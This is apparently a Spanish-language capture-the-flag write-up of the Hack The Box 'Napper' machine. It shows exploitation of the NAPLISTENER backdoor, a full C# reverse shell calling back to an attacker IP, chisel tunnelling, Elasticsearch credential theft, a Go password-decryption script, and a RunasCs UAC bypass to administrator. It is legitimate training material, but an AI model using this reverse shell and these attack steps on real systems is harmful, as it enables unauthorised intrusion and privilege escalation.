Hack The Box: Napper Writeup | Hard

Table of Contents

Hack The Box: Napper Writeup

Welcome to my detailed writeup of the hard difficulty machine “Napper” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.229.166 --ulimit 5000 -g
210.129.229.166 -> [80,443,7680]
 1$ nmap -p80,443,7680 -sCV 10.129.229.166 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 16:48 CEST
 3Nmap scan report for 10.129.229.166
 4Host is up (0.036s latency).
 5
 6PORT     STATE    SERVICE   VERSION
 780/tcp   open     http      Microsoft IIS httpd 10.0
 8|_http-title: Did not follow redirect to https://app.napper.htb
 9|_http-server-header: Microsoft-IIS/10.0
10443/tcp  open     ssl/http  Microsoft IIS httpd 10.0
11|_http-generator: Hugo 0.112.3
12|_ssl-date: 2024-08-27T12:48:39+00:00; -1h59m59s from scanner time.
13| tls-alpn: 
14|_  http/1.1
15| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
16| Subject Alternative Name: DNS:app.napper.htb
17| Not valid before: 2023-06-07T14:58:55
18|_Not valid after:  2033-06-04T14:58:55
19|_http-server-header: Microsoft-IIS/10.0
20| http-methods: 
21|_  Potentially risky methods: TRACE
22|_http-title: Research Blog | Home 
237680/tcp filtered pando-pub
24Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
25
26Host script results:
27|_clock-skew: -1h59m59s
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30Nmap done: 1 IP address (1 host up) scanned in 23.31 seconds

UDP Enumeration

1$ sudo nmap --top-ports 1500 -sU --min-rate 1500 -n -Pn 10.129.229.166 -oN ../Desktop/napper/scan/allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 16:47 CEST
3Nmap scan report for 10.129.229.166
4Host is up.
5All 1500 scanned ports on 10.129.229.166 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 3.19 seconds

HTTPS Enumeration

Ya que el sitio web es HTTPS, vamos a inspeccionar primero el certificado TLS.

1$ openssl s_client -showcerts -connect 10.129.229.166:443

De este análisis encontramos el dominio napper.htb y los subdominios app.napper.htb, ca.napper.htb

1$ whatweb https://napper.htb 
2https://napper.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.229.166], MetaGenerator[Hugo 0.112.3], Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/javascript,text/x-mathjax-config], Title[Research Blog | Home], X-UA-Compatible[IE=edge]

whatweb nos reporta que es un blog hecho con Hugo (como este blog que estas leyendo ahora mismo) y que por detrás existe un IIS 10.0.

Information Leakage

Viendo los artículos del blog nos encontramos una credencial de prueba, nos la podemos apuntar por si acaso se le ha olvidado eliminarla. Write-up Image

El caso es que no encontramos ningún sitio para autenticarnos.

Después de fuzzear no encontramos nada.

Buscando subdominios encontramos el subdominio internal.napper.htb

1$ wfuzz --hh=5589 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.
2txt -H 'Host: FUZZ.napper.htb' https://napper.htb
3.....
4000000387:   401        29 L     100 W      1293 Ch     "internal"

Nos pide autenticación… Write-up Image

Y con example:ExamplePassword podemos autenticarnos y vemos un artículo que antes no era visible.. Write-up Image

Exploiting NAPLISTENER Backdoor -> Foothold

El artículo habla sobre el malware NAPLISTENER

HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection.

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It’s worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.

El sitio web que esté “backdoorizado” podría ejecutar código .NET base64-encodeado en el endpoint /ews/MsExgHealthCheckd/ por el parámetro sdafwe3rwe23.

Hay que tener en cuenta que se ejecutará en un proceso distinto y no está asociado al servicio que esté ejecutando el servidor IIS.

Podemos echar un ojo a este artículo de eslatic

No encuentro que la ruta donde está el backdoor exista. Write-up Image

Write-up Image

Aunque puede que solo responda cuando un payload sea válido.

Podemos crear un pequeño script en C# para mandarnos un ping a nuestra máquina.

 1using System;
 2using System.Net.NetworkInformation;
 3
 4namespace PingTest
 5{
 6    class Program
 7    {
 8        static void Main(string[] args)
 9        {
10            string ipAddress = "10.10.14.125";
11            Ping pingSender = new Ping();
12            PingReply reply = pingSender.Send(ipAddress);
13        }
14    }
15}

Y compilarlo con mcs

1$ sudo apt install mono-complete
1$ mcs -out:Test.exe Test.cs                                                       
2Test.cs(12,23): warning CS0219: The variable `reply' is assigned but its value is never us
3ed                                                                                        
4Compilation succeeded - 1 warning(s) 

Lo codificamos en base64

1$ base64 Test.exe > payload.txt

Nos copiamos el binario codificado en la clipboard.

1$ cat payload.txt | xclip -sel clip

Ejecutando el PoC del artículo anterior detectamos que el sitio web https://napper.htb tiene este backdoor pero no conseguimos ejecución de comandos.

 1import requests
 2from urllib3.exceptions import InsecureRequestWarning
 3requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 4
 5hosts = ["app.napper.htb", "internal.napper.htb", "napper.htb"]
 6payload = "TVqQAAMAAAAEAAAA[...]"
 7form_field = f"sdafwe3rwe23={requests.utils.quote(payload)}"
 8
 9for h in hosts:
10    url_ssl = f"https://{h}/ews/MsExgHealthCheckd/"
11
12    try:
13        r_ssl = requests.post(url_ssl, data=form_field, verify=False)
14        print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
15    except KeyboardInterrupt:
16        exit()
17    except Exception as e:
18        print(e)
19        pass
1$ python3 poc.py 
2/home/pointedsec/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.19) or chardet (5.1.0)/charset_normalizer (2.0.12) doesn't match a supported version!
3  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
4https://app.napper.htb/ews/MsExgHealthCheckd/ : 404 {'Content-Type': 'text/html', 'Server': 'Microsoft-IIS/10.0', 'Date': 'Tue, 27 Aug 2024 13:25:45 GMT', 'Content-Length': '1245'}
5https://internal.napper.htb/ews/MsExgHealthCheckd/ : 401 {'Content-Type': 'text/html', 'Server': 'Microsoft-IIS/10.0', 'WWW-Authenticate': 'Basic realm="internal.napper.htb"', 'Date': 'Tue, 27 Aug 2024 13:25:45 GMT', 'Content-Length': '1293'}
6https://napper.htb/ews/MsExgHealthCheckd/ : 200 {'Content-Length': '0', 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0', 'X-Powered-By': 'ASP.NET', 'Date': 'Tue, 27 Aug 2024 13:25:45 GMT'}

Podemos ver que napper.htb devuelve un código 200 OK pero no recibimos ningún Ping.

Después de prueba y error conseguí una consola con esta reverse shell en C#.

 1using System;                                                                                                                                                                                                                                                                                                                
 2using System.Text;                                                                                                                                                                                                                                                                                                           
 3using System.IO;                                                                                                                                                                                                                                                                                                             
 4using System.Diagnostics;                                                                                                                                                                                                                                                                                                    
 5using System.ComponentModel;                                                   
 6using System.Linq;                                                             
 7using System.Net;                                                              
 8using System.Net.Sockets;                                                      
 9
10
11namespace Rev                                                                  
12{                                                                              
13        public class Run                                                       
14        {                                                                      
15                static StreamWriter streamWriter;                                                                                                             
16
17                public Run()                                                   
18                {                                                              
19                        using(TcpClient client = new TcpClient("10.10.14.125", 443))                                                                          
20                        {                                                      
21                                using(Stream stream = client.GetStream())                                                                                     
22                                {                                              
23                                        using(StreamReader rdr = new StreamReader(stream))                                                                    
24                                        {                                      
25                                                streamWriter = new StreamWriter(stream);                                                                      
26
27                                                StringBuilder strInput = new StringBuilder();                                                                 
28
29                                                Process p = new Process();                                                                                    
30                                                p.StartInfo.FileName = "cmd.exe";                                                                             
31                                                p.StartInfo.CreateNoWindow = true;                                                                            
32                                                p.StartInfo.UseShellExecute = false;                                                                          
33                                                p.StartInfo.RedirectStandardOutput = true;                                                                    
34                                                p.StartInfo.RedirectStandardInput = true;                                                                     
35                                                p.StartInfo.RedirectStandardError = true;                                                                     
36                                                p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);                                   
37                                                p.Start();                                                                                                    
38                                                p.BeginOutputReadLine();                                                                                      
39
40                                                while(true)                                                                                                   
41                                                {                                                                                                             
42                                                        strInput.Append(rdr.ReadLine());                                                                      
43                                                        //strInput.Append("\n");                                                                              
44                                                        p.StandardInput.WriteLine(strInput);                                                                  
45                                                        strInput.Remove(0, strInput.Length);                                                                  
46                                                }                                                                                                             
47                                        }                                      
48                                }                                              
49                        }                                                      
50                }                                                              
51
52                private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)                                                
53        {                                                                      
54            StringBuilder strOutput = new StringBuilder();                                                                                                    
55
56            if (!String.IsNullOrEmpty(outLine.Data))                                                                                                          
57            {                                                                  
58                try                                                            
59                {                                                              
60                    strOutput.Append(outLine.Data);                                                                                                           
61                    streamWriter.WriteLine(strOutput);                                                                                                        
62                    streamWriter.Flush();                                      
63                }                                                              
64                catch (Exception err) { }                                      
65            }                                                                  
66        }                                                                      
67
68        }                                                                      
69}  

Compilando como librería.

1$ mcs -target:library -out:Rev.dll Rev.cs 
2Test.cs(12,23): warning CS0219: The variable `reply' is assigned but its value is never used
3Compilation succeeded - 1 warning(s)

Codificando el base64 y pegando el output al BurpSuite para hacer la solicitud. CTRL + U Para URL encodear. Write-up Image

Y conseguimos acceso.

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.229.166] 57159
4Microsoft Windows [Version 10.0.19045.3636]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>
8whoami

Podemos leer la flag de usuario.

1C:\Users\ruben\Desktop>type user.txt
2219f46b8c56553c19...

Privilege Escalation

Por alguna razón los proyectos Hugo sin compilar (código base) están en C:\Temp\www\

Aquí nos encontramos dos directorios, app e internal

 1C:\Temp\www>dir
 2 Volume in drive C has no label.
 3 Volume Serial Number is CB08-11BF
 4 Directory of C:\Temp\www
 506/09/2023  12:18 AM    <DIR>          .
 606/09/2023  12:18 AM    <DIR>          ..
 706/09/2023  12:18 AM    <DIR>          app
 806/09/2023  12:18 AM    <DIR>          internal
 9               0 File(s)              0 bytes
10               4 Dir(s)   4,564,426,752 bytes free
 1C:\Temp\www\internal\content\posts>dir
 2 Volume in drive C has no label.
 3 Volume Serial Number is CB08-11BF
 4 Directory of C:\Temp\www\internal\content\posts
 506/09/2023  12:20 AM    <DIR>          .
 606/09/2023  12:20 AM    <DIR>          ..
 706/09/2023  12:18 AM             1,755 first-re-research.md
 806/09/2023  12:28 AM    <DIR>          internal-laps-alpha
 906/09/2023  12:18 AM               493 no-more-laps.md
10               2 File(s)          2,248 bytes
11               3 Dir(s)   4,564,811,776 bytes free

Encontramos un post que no están publicado no-more-laps.md

 1C:\Temp\www\internal\content\posts>dir
 2 Volume in drive C has no label.
 3 Volume Serial Number is CB08-11BF
 4 Directory of C:\Temp\www\internal\content\posts
 506/09/2023  12:20 AM    <DIR>          .
 606/09/2023  12:20 AM    <DIR>          ..
 706/09/2023  12:18 AM             1,755 first-re-research.md
 806/09/2023  12:28 AM    <DIR>          internal-laps-alpha
 906/09/2023  12:18 AM               493 no-more-laps.md
10               2 File(s)          2,248 bytes
11               3 Dir(s)   4,564,811,776 bytes free

Y encontramos un directorio internal-laps-alpha que contiene un binario a.exe

También contiene un fichero .env con credenciales para una instancia de ElasticSearch.

1C:\Temp\www\internal\content\posts\internal-laps-alpha>type .env
2ELASTICUSER=user
3ELASTICPASS=DumpPassword\$Here
4ELASTICURI=https://127.0.0.1:9200

Leyendo el post..

 1---
 2title: "**INTERNAL** Getting rid of LAPS"
 3description: Replacing LAPS with out own custom solution
 4date: 2023-07-01
 5draft: true 
 6tags: [internal, sysadmin] 
 7---
 8# Intro
 9We are getting rid of LAPS in favor of our own custom solution. 
10The password for the `backup` user will be stored in the local Elastic DB.
11IT will deploy the decryption client to the admin desktops once it it ready. 
12We do expect the development to be ready soon. The Malware RE team will be the first test group. 

Reverse Port Forwarding

Vamos a compartirnos el puerto 9200 donde está el ElasticSearch a nuestra máquina con chisel

Con impacket-smbserver vamos a servidor bajo el recurso smbFolder el binario chisel.exe para pasarlo a la máquina víctima

1$ sudo impacket-smbserver -smb2support smbFolder .
1C:\ProgramData>copy \\10.10.14.125\smbFolder\chisel.exe chisel.exe
2        1 file(s) copied.

Ahora en nuestra máquina de atacante nos ponemos en escucha con chisel para hacer reverse port forwarding por el puerto 1234

1$ /opt/chisel/chisel server --reverse -p 1234
22024/08/27 18:01:42 server: Reverse tunnelling enabled
32024/08/27 18:01:42 server: Fingerprint bEQflnf3gWBSSWLT8J0cMyLsdZwrLMC5qP/FPXdEKAU=
42024/08/27 18:01:42 server: Listening on http://0.0.0.0:1234

Ahora en la máquina víctima nos pasamos con el binario de chisel.exe el puerto 9200 para que se convierta a nuestro puerto local 9200.

1:\ProgramData>.\chisel.exe client 10.10.14.125:1234 R:9200:127.0.0.1:9200

Y vemos que todo ha salido bien en principio.

1$ /opt/chisel/chisel server --reverse -p 1234
22024/08/27 18:01:42 server: Reverse tunnelling enabled
32024/08/27 18:01:42 server: Fingerprint bEQflnf3gWBSSWLT8J0cMyLsdZwrLMC5qP/FPXdEKAU=
42024/08/27 18:01:42 server: Listening on http://0.0.0.0:1234
52024/08/27 18:03:02 server: session#1: tun: proxy#R:9200=>9200: Listening

Podemos hacer una pequeña prueba y vemos que ahora en local tenemos el puerto 9200 abierto.

1$ nmap -p9200 127.0.0.1
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 18:05 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.000065s latency).
5
6PORT     STATE SERVICE
79200/tcp open  wap-wsp
8
9Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Nos pide autenticación. Write-up Image

Vamos a probar con las credenciales que hemos visto antes -> user:DumpPassword$Here.

Y aquí tenemos el sitio. Write-up Image

Vemos unas credenciales, backupuser:tWUZG4e8QpWIwT8HmKcBiw

Después de probarlas no servían para migrar a la cuenta de usuario backup que existe en la máquina víctima.

ElasticSearch Enumeration

Gracias a este artículo de HackTricks podemos ayudarnos para enumerar a ver que información interesante conseguimos.

Vemos dos índices, seed y user-00001

1$ curl 'https://user:DumpPassword$Here@127.0.0.1:9200/_cat/indices?v' -k
2health status index      uuid                   pri rep docs.count docs.deleted store.size pri.store.size
3yellow open   seed       aqAoiRfuS2O2dAjhrgVs1A   1   1          1            0      3.3kb          3.3kb
4yellow open   user-00001 aY6z82tqR6C73F0KczSMWA   1   1          1            0      5.4kb          5.4kb

Enumerando el índice user-00001

 1$ curl 'https://user:DumpPassword$Here@127.0.0.1:9200/user-00001/_search?pretty=true' -k
 2{
 3  "took" : 4,
 4  "timed_out" : false,
 5  "_shards" : {
 6    "total" : 1,
 7    "successful" : 1,
 8    "skipped" : 0,
 9    "failed" : 0
10  },
11  "hits" : {
12    "total" : {
13      "value" : 1,
14      "relation" : "eq"
15    },
16    "max_score" : 1.0,
17    "hits" : [
18      {
19        "_index" : "user-00001",
20        "_id" : "tIAqlJEBwnHgAPO7iyz4",
21        "_score" : 1.0,
22        "_source" : {
23          "blob" : "7GM0hTEK1IcpArBkUmIbZiQvmopg5Truh57rdp1uaS84nBRCWekG402RXYdj4y_YAhpFqIzEix0=",
24          "timestamp" : "2024-08-27T07:08:21.9776954-07:00"
25        }
26      }
27    ]
28  }
29}

Vemos una secuencia en base64 7GM0hTEK1IcpArBkUmIbZiQvmopg5Truh57rdp1uaS84nBRCWekG402RXYdj4y_YAhpFqIzEix0=

Pero se nos representa que no es un input válido.

1$ echo "3IovgiWmZw6P_io9AcyoQ5GMiqJToDb69FeynB4wLSSMNrIPvY_BkGxovMEFi7KoJ6afXC6LjQ0=" | base64 -d
2܊/%gbase64: invalid input

Reversing a.exe

Haciendo uso de la información obtenida en la nota, vamos a decompilar el binario a.exe a ver si este es el cliente para decompilar la credencial del usuario backup

Nos vamos a copiar a nuestra máquina el binario a.exe y el fichero .env

1C:\Temp\www\internal\content\posts\internal-laps-alpha>copy .env \\10.10.14.125\smbFolder\.env
2        1 file(s) copied.
3C:\Temp\www\internal\content\posts\internal-laps-alpha>copy a.exe \\10.10.14.125\smbFolder\a.exe
4        1 file(s) copied.
1$ file a.exe
2a.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 13 sections

ghidra nos reporta que es un binario que ha sido compilado con golang

Detectamos la función main, por el camino he visto que se utilizan funciones relacionadas con operaciones criptográficas. Write-up Image

Podemos pasarle esta función a ChatGPT y nos responde lo siguiente:

1. Carga de variables de entorno:

2. Interacción con Elasticsearch:

3. Manejo de errores:

4. Manejo de JSON:

5. Generación de claves y encriptación:

6. Ejecución de comandos del sistema:

7. Funcionalidades adicionales:

Conclusión:

Este código parece ser parte de una aplicación Go que:

Dado el uso de log.Fatal y el manejo de errores fatales, parece que la aplicación está diseñada para terminar la ejecución si encuentra problemas críticos, como la imposibilidad de cargar configuraciones o conectarse a servicios externos.

Me interesa la parte donde hace la operación criptográfica.

Existe la función main.encrypt la cual supongo que encriptará el blob guardado en la base de datos. Esto quiero pensar que se hace habitualmente para ir rotando la contraseña del usuario backup

Y luego está la función main.genKey que es la utilizada para generar la semilla para realizar la encriptación.

También necesito saber cual es el formato de encriptación, esto lo podemos descubrir rápidamente echando un vistazo en main.encrypt.

Buscando el nombre de la clase, podemos revisar el código fuente.

 1func newCFB(block Block, iv []byte, decrypt bool) Stream {
 2	blockSize := block.BlockSize()
 3	if len(iv) != blockSize {
 4		// stack trace will indicate whether it was de or encryption
 5		panic("cipher.newCFB: IV length must equal block size")
 6	}
 7	x := &cfb{
 8		b:       block,
 9		out:     make([]byte, blockSize),
10		next:    make([]byte, blockSize),
11		outUsed: blockSize,
12		decrypt: decrypt,
13	}
14	copy(x.next, iv)
15
16	return x
17}

Write-up Image

El primer parámetro es el bloque a encriptar, el segundo parámetro el IV (Vector de Inicialización) y el tercer parámetro si está encriptado o desencriptando.

Podemos detectar que probablemente se esté utilizando AES - modo CFB.

Entonces para poder desencriptar la contraseña, necesito conseguir la seed del ElasticSearch junto a la contraseña encriptada,

Una vez tengamos esto, podemos fácilmente desencriptar el bloque de datos utilizando la seed para generar la clave de encriptación. Write-up Image

Con ayuda de ChatGPT intenté generar un script para desencriptar el blob pero fallé.

Así que probé a hacerlo en el lenguaje nativo del binario, Go.

Como no tengo ni idea de Go he necesitado mucha ayuda de ChatGPT.

Después de prueba y error un buen rato y pasarle la función main.genKey decompilada en ghidra y añadir la funcionalidad para conseguir la seed y el blob del Elastic, este es el script final.

  1package main
  2
  3import (
  4	"bytes"
  5	"strings"
  6	"os/exec"
  7	"strconv"
  8	"crypto/aes"
  9	"crypto/cipher"
 10	"encoding/base64"
 11	"fmt"
 12	"math/rand"
 13)
 14
 15// Función para conseguir la seed y el blob en base al script en python
 16func getSeedAndBlob() (int64, string, error) {
 17	cmd := exec.Command("python3", "getData.py")
 18	var out bytes.Buffer
 19	cmd.Stdout = &out
 20	err := cmd.Run()
 21	if err != nil {
 22		return 0, "", err
 23	}
 24
 25	output := out.String()
 26	parts := strings.Split(strings.TrimSpace(output), "|")
 27	if len(parts) != 2 {
 28		return 0, "", fmt.Errorf("unexpected output format")
 29	}
 30
 31	seed, err := strconv.ParseInt(parts[0], 10, 64)
 32	if err != nil {
 33		return 0, "", err
 34	}
 35
 36	blob := parts[1]
 37	return seed, blob, nil
 38}
 39
 40// genKey genera una clave de 16 bytes basada en una semilla.
 41func genKey(seed int64) ([]byte, error) {
 42	rand.Seed(seed)
 43	key := make([]byte, 16)
 44	for i := 0; i < 16; i++ {
 45		key[i] = byte(rand.Intn(0xfe) + 1)
 46	}
 47	return key, nil
 48}
 49
 50// decrypt desencripta el ciphertext base64 usando la clave generada.
 51func decrypt(seed int64, ciphertext string) (string, error) {
 52	key, err := genKey(seed)
 53	if err != nil {
 54		return "", err
 55	}
 56
 57	// Decodifica el ciphertext base64
 58	decodedCiphertext, err := base64.URLEncoding.DecodeString(ciphertext)
 59	if err != nil {
 60		return "", err
 61	}
 62
 63	// Verifica que el ciphertext tenga al menos el tamaño del bloque AES
 64	if len(decodedCiphertext) < aes.BlockSize {
 65		return "", fmt.Errorf("ciphertext is too short")
 66	}
 67
 68	// Extrae el IV del ciphertext
 69	iv := decodedCiphertext[:aes.BlockSize]
 70	ciphertextBytes := decodedCiphertext[aes.BlockSize:]
 71
 72	// Crea un nuevo bloque de cifrado AES en modo CFB
 73	block, err := aes.NewCipher(key)
 74	if err != nil {
 75		return "", err
 76	}
 77	stream := cipher.NewCFBDecrypter(block, iv)
 78
 79	// Desencripta el ciphertext
 80	plaintext := make([]byte, len(ciphertextBytes))
 81	stream.XORKeyStream(plaintext, ciphertextBytes)
 82
 83	return string(plaintext), nil
 84}
 85
 86func main() {
 87	seed,blob,err := getSeedAndBlob()
 88	if err != nil {
 89		fmt.Println("Error: ", err)
 90		return
 91	}
 92	fmt.Println("Seed: ", seed)
 93	fmt.Println("Blob: ", blob)
 94	plaintext, err := decrypt(seed, blob)
 95	if err != nil {
 96		fmt.Println("Decryption error:", err)
 97		return
 98	}
 99
100	fmt.Println("Decrypted plaintext:", plaintext)
101}

Este script utiliza otro script en python llamado getData.py que simplemente hace una petición para conseguir el valor de seed y blob utilizando las credenciales anteriormente conseguidas.

 1# getData.py
 2import requests
 3import urllib3
 4urllib3.disable_warnings()
 5
 6URL = "https://127.0.0.1:9200/_search?pretty=true"
 7user = "user"
 8pwd = "DumpPassword$Here"
 9
10r = requests.get(URL, auth=(user, pwd), verify=False)
11json_response = r.json()
12
13seed_value = json_response['hits']['hits'][0]['_source']['seed']
14blob_value = json_response['hits']['hits'][1]['_source']['blob']
15
16print(f"{seed_value}|{blob_value}")

Al ejecutar el script…

1$ go run pass.go 
2Seed:  41025560
3Blob:  cMhkWTlT3MddLGL7ZzdusdiuHtKDKZwWmw4idmKoehp6mI7_L2PZ_MLAwN1JgW54jhEesmZlNdM=
4Decrypted plaintext: fBcdkirrMWHVckDMWJWNNtEjDYgzVVOImuDJWlPq

En principio la credencial del usuario backup es fBcdkirrMWHVckDMWJWNNtEjDYgzVVOImuDJWlPq

¡Y conseguimos ejecutar comandos como backup!

Eso fue bastante complicado…

1C:\ProgramData>.\RunasCs.exe backup fBcdkirrMWHVckDMWJWNNtEjDYgzVVOImuDJWlPq "cmd /c whoami"
2[*] Warning: The logon for user 'backup' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
3napper\backup

Ahora nos podemos mandar una revshell como este usuario.

El propio RunasCs.exe nos está avisando de que usemos la flag –bypass-uac y –logon-type 8 para conseguir un token mas privilegiado para el proceso

1C:\ProgramData>.\RunasCs.exe backup qGTwMxgZpboSlSJiYGqfSdBXmgtaVRAGWIsPdfVb cmd.exe -r 10.10.14.125:443 --bypass-uac --logon-type 8
2[+] Running in session 0 with process function CreateProcessWithLogonW()
3[+] Using Station\Desktop: Service-0x0-42cb7$\Default
4[+] Async process 'C:\Windows\system32\cmd.exe' with pid 4196 created in background.

Si estamos en escucha con netcat por el puerto 443.

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.125] from (UNKNOWN) [10.129.229.166] 57370
4Microsoft Windows [Version 10.0.19045.3636]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>whoami
8whoami
9napper\backup

Podemos comprobar que pertenecemos al grupo de Administrators

 1C:\Users\Administrator\Desktop>net user backup
 2net user backup
 3User name                    backup
 4Full Name                    backup
 5Comment                      
 6User's comment               
 7Country/region code          000 (System Default)
 8Account active               Yes
 9Account expires              Never
10
11Password last set            8/27/2024 8:43:22 AM
12Password expires             Never
13Password changeable          8/27/2024 8:43:22 AM
14Password required            Yes
15User may change password     Yes
16
17Workstations allowed         All
18Logon script                 
19User profile                 
20Home directory               
21Last logon                   8/27/2024 8:45:05 AM
22
23Logon hours allowed          All
24
25Local Group Memberships      *Administrators       
26Global Group memberships     *None                 
27The command completed successfully.

Por lo cual nos hemos convertido en administradores del sistema y podemos leer la flag de root.

1C:\Users\Administrator\Desktop>type root.txt
2type root.txt
3fc9a5f7c77d0a1...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Napper   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #HTTPS Enumeration   #SSL Certificate Inspection   #Information Leakage   #NAPLISTENER   #Rerverse Port Forwarding   #ElasticDB Enumeration   #Reversing Engineering   #Reversing   #GHidra   #Go Scripting   #Python Scripting   #Scripting   #Decrypting